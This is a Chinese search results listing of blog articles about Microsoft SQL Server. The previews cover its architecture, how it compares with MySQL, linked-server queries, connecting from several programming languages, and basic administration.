    千次阅读 2019-04-04 11:29:01
    SQL server数据库与mysql数据库有什么区别 什么是SQL Server? SQL Server 是Microsoft 公司推出的关系型数据库管理系统。具有使用方便可伸缩性好与相关软件集成程度高等优点,可跨越从运行Microsoft Windows 98 的...
  • Microsoft SQL Server 数据库体系结构图解

    千次阅读 多人点赞 2020-11-05 11:27:21
    本文详细介绍了 Microsoft SQL Server 数据库的体系结构以及各个组件的功能。包括整体结构,协议层中的TCP/IP协议、共享内存协议、命名管道协议以及TDS协议、关系引擎中的命令解析器、查询优化器、查询执行器 ,存储...
  • 在不同的sqlserver数据库中,需要进行不同数据库中的表在同一sql语句中进行关联查询,可以事先在服务器上的SqlServer数据库中先执行以下sql语句:  (1)exec sp_addlinkedserver @server= 'WLSQL', @srvproduct= ''...
  • Sql Server 数据库实验报告

    千次阅读 多人点赞 2019-11-28 15:25:37
    实验一 SQL Server的安装和配置 4 一、实验目的 4 二、实验内容 4 三、实验步骤 4 四、实验代码和结果 4 五、实验总结与体会 4 实验二 创建数据库 5 一、实验目的 5 二、实验内容 5 三、实验步骤 5 四、实验代码和...
  • 最近刚好有一需求,就是使用sqlserver当数据库去开发一网站,这里就简单介绍一如何去连接sqlserver数据库,以及一些简单的数据库操作方法,看完这篇之后,你就会知道,其实无论是哪种数据库去开发,其实原理都...
  • 一学就会的SQL Server数据库

    千次阅读 热门讨论 2020-12-11 14:58:41
    windows SQL Server数据库部署 基础操作 实验环境:公司有台好的SQL Server 数据库服务器,现做如下配置: 用种种方法将SQL agent代理服务设置为自动启动 注册服务器,要求在“新建服务器注册”窗口中“已注册...
  • pandas操作SQL Server数据库

    万次阅读 2018-05-29 21:19:23
    最近处理公交数据,原数据存在SQL Server数据中。从前处理数据时师兄让导至csv中处理,然而能够处理的数据毕竟有限,因此尝试直接将python连至数据库,在这里将老鼠屎使用...1 Python连接SQL Server数据库 博主使用...
  • Java连接SQLserver数据库

    千次阅读 2017-08-16 10:58:21
    首先,需要有一个数据库,我用的是SQL server 2008版,然后需要去下载一JDBC驱动,我用的是JDBC for SQLserver 6.0版本,可以去下载这 sqljdbc_6.0.8112.100_chs.tar.gz: ...
  • 如何查看sqlserver数据库文件位置

    千次阅读 2020-07-16 15:51:41
    查看sqlserver数据库文件的位置,有种情况,一是在创建时就修改了数据库的位置,二是在默认位置,下面就来看一下如何查看数据库文件所在的位置工具/材料Microsoft  SQL Server Management  Studio 2008...
  • C#操作sqlServer数据库

    万次阅读 多人点赞 2018-07-24 12:14:44
    VS2015建立一个c#的控制台应用程序,必须要包含两个using 指令:using System.Data;using System.Data.SqlClient;(SqlClient是因为我选用的数据库sqlserver,若连接的数据库是mysql则用MySqlClient) 建立一个...
  • php+sqlserver之如何操作sqlserver数据库

    万次阅读 2016-12-19 17:15:39
    前面已经基本配置了sqlserver的环境,现在就用学习一下如何去操作数据库!!其实方法还是比较简单,可以参考一下mysql,尽量去跟mysql进行比较1、学习的方法,最好是看手册 在前一篇文章中涉及到了连接数据库sqlsrv...
  • 二、测试工具:tablediff.exe,这工具就用于表内部数据比较,是MS SQL Server自带的一工具。各位可以自行搜索自己机器上的这文件所在的路径。 三、构建数据表比较SQL语句: use UFDATA_006_2015_好酷 ...
  • php+sqlserver之如何连接sqlserver数据库

    万次阅读 多人点赞 2016-12-19 15:55:29
    最近刚好有一需求,就是使用sqlserver当数据库去开发一网站,这里就简单介绍一如何去连接sqlserver数据库,以及一些简单的数据库操作方法,看完这篇之后,你就会知道,其实无论是哪种数据库去开发,其实原理都...
  • C++中使用ODBC连接SQL Server数据库

    千次阅读 2020-06-30 17:13:33
    总结下 参考官网:https://docs.microsoft.com/zh-cn/sql/odbc/reference/syntax/sqlallochandle-function?view=sql-server-ver15 有用的博客1:...ODBC访问sql server数据库,比较麻烦。
  • 管理SQL Server数据库需要建立数据库用户,下面将为您介绍使用SQL语句来建立SQL Server数据库用户的方法,供您参考,希望对您有所帮助。 要想成功访问 SQL Server 数据库中的数据, 我们需要两个方面的授权:一、...
  • SQL Server 数据库对象

    千次阅读 2007-03-24 09:39:00
    SQL Server数据库对象SQL Server的数据库一共有11种对象,包括关系图、表、视图、存储过程、用户、角色、规则、默认、用户定义的数据类型、用户定义的函数、全文目录。关于这11种数据库对象,可以在使用数据库的过程...
  • SQL server数据库用户映射到登陆用户

    万次阅读 2014-11-25 11:13:56
    这在SQL server数据库中是一比较普遍的情形。本文描述的是即是对这些孤立的账户通过系统过程sp_change_users_login来建立其映射关系。1、sp_change_users_login的功能及其限制 使用 sp_change_users_
  • Qt + MySQL + SQLServer 数据库

    千次阅读 2018-04-12 10:44:01
    数据库是大部分项目中需要使用的,MySQL 和 SQLServer 是一半公司会选择的,在开发过程中很容易遇到各种问题,接下来是我用 Qt 来连接 MySQL 和 SQLServer 的讲解! Qt + MySQL Qt 版本说明 MySQL 驱动问题 Qt 测试...
  • 详细很多初入IT行业的朋友对于SQL Server数据库和MySQL数据库经常搞混,认为这种数据库是同一种,其实不然,今天我们来分析一下这种数据库的不同之处: SQL Server数据库和MySQL数据库有什么区别 1,优点分析:...
  • sqlserver数据库基本语句集合

    千次阅读 2016-11-17 13:33:36
    sql server数据库模糊查询语句 确切匹配: select * from hs_user where ID=123 模糊查询 select * from hs_user where ID like '%123%' 通配符 -

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 451,257
精华内容 180,502
关键字:

装两个sqlserver数据库